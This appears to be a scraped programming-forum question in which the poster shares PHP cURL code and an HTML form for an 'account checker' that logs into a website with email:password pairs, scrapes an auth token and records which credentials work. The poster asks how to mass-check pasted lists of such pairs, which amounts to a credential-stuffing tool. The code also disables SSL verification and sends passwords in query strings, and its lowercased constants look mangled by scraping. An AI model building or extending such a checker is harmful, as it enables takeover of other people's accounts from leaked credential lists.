email - PHP - Curl - Form Issues -


i have script check if email:password in site, want able mass check being able copy , paste bunch of email:password's seperate lines in textarea, when , click submit seperate email :pass aswell pass email: , put them variable , check them curl 1 one. no idea start email:pass seperation im guessing explode()?

php:

<?php if(isset($_post['email']) && isset($_post['pass'])){  $url = 'http://example.com/api/?checkere='.$_post['email'].'&checkerp='.$_post['pass'];  $ch     = curl_init(); curl_setopt($ch, curlopt_url, $url); curl_setopt($ch, curlopt_useragent, 'mozilla/5.0 (windows nt 6.3; wow64) applewebkit/537.36 (khtml, gecko) chrome/39.0.2171.95 safari/537.36'); curl_setopt($ch, curlopt_returntransfer, 1); curl_setopt($ch, curlopt_ssl_verifyhost, 0); curl_setopt($ch, curlopt_ssl_verifypeer, 0); curl_setopt($ch, curlopt_followlocation, 1); $page = curl_exec($ch);  if (strpos($page, '<title>works</title>') !== false) {     file_put_contents('output.txt',$_post['email'].':'.$_post['pass'].' working!'); } else {     file_put_contents('output.txt',$_post['email'].':'.$_post['pass'].' invalid!'); }  } ?> 

api:

<?php if(isset($_get['email']) && isset($_get['pass'])) {  $email=$_get['email']; $pass=$_get['pass'];  $url='https://example.com/login'; $cookie="cookie.txt";  $ch2 = curl_init(); curl_setopt ($ch2, curlopt_url, $url); curl_setopt ($ch2, curlopt_ssl_verifypeer, false); curl_setopt ($ch2, curlopt_useragent, "mozilla/5.0 (windows nt 6.1) applewebkit/537.31 (khtml, gecko) chrome/26.0.1410.64 safari/537.31");  curl_setopt ($ch2, curlopt_timeout, 60); curl_setopt ($ch2, curlopt_ssl_verifyhost, false);  curl_setopt ($ch2, curlopt_followlocation, 1); curl_setopt ($ch2, curlopt_returntransfer, 1); curl_setopt ($ch2, curlopt_cookiejar, $cookie); curl_setopt ($ch2, curlopt_referer, $url);  $result2 = curl_exec ($ch2);  curl_close($ch2);  $expa=explode('name="authurl" value="',$result2); $expb=explode('"/>',$expa[1]); $auth=$expb[0];  $postdata = http_build_query( array('email' => urlencode($email), 'password' => $pass, 'authurl' => urlencode($auth)));  $postdata = http_build_query( array('email' => $email, 'password' => $pass, 'authurl' => $auth, 'rememberme' => ''));   $ch = curl_init(); curl_setopt ($ch, curlopt_url, $url); curl_setopt ($ch, curlopt_ssl_verifypeer, false); curl_setopt ($ch, curlopt_useragent, "mozilla/5.0 (windows nt 6.1) applewebkit/537.31 (khtml, gecko) chrome/26.0.1410.64 safari/537.31");  curl_setopt ($ch, curlopt_timeout, 60); curl_setopt ($ch, curlopt_ssl_verifyhost, false);  curl_setopt ($ch, curlopt_followlocation, 1); curl_setopt ($ch, curlopt_returntransfer, 1); curl_setopt ($ch, curlopt_cookiefile, $cookie);  curl_setopt ($ch, curlopt_cookiejar, $cookie); curl_setopt ($ch, curlopt_referer, $url);  curl_setopt ($ch, curlopt_postfields, $postdata); curl_setopt ($ch, curlopt_post, 1); $result = curl_exec ($ch);  echo $result;  curl_close($ch);  } ?> 

my current html:

<!doctype html> <html lang="en" class="no-js">  <head>     <title>account checker</title>     <!-- meta data -->     <?php include('../../metadata.php'); ?>      <!-- stylesheets -->     <?php include('../../assets/css/stylesheets.php'); ?> </head>  <body>     <!-- menu -->     <?php include('../../ui/menu.php'); ?>      <!-- notifications -->     <?php include('../../ui/notifications.php'); ?>      <!-- content -->     <div class="footer" style="overflow:auto;"><div class="container"><div class="footer_top">     <div class="wow"><h1>account checker</h1></div>      <div class="wow">      <form action="output.php" method="post"><span>     <i><img src="//example.com/assets/img/login.png" alt=""></i>     <input type="text" placeholder="email" id="minime_url_textbox" name="email">     <br>     <i><img src="//example.com/assets/img/login.png" alt=""></i>     <input type="text" placeholder="password" id="minime_url_textbox" name="pass">     <label class="btn1 btn2 btn-2 btn-2g"> <input name="submit" type="submit" id="submit" value="check"> </label>     <div class="clearfix"> </div>     </span></form>      </div></div>      <div class="copy wow">     <?php include('../../ui/footer.php'); ?>     </div>      </div></div>      <!-- javascript -->     <?php include('../../assets/scripts/javascript.php'); ?> </body>  </html> 

the referenced output.php in contains first php mentioned above. how this? couldnt find helpful information online.


Comments

Popular posts from this blog

c# - Validate object ID from GET to POST -

node.js - Custom Model Validator SailsJS -

php - Find a regex to take part of Email -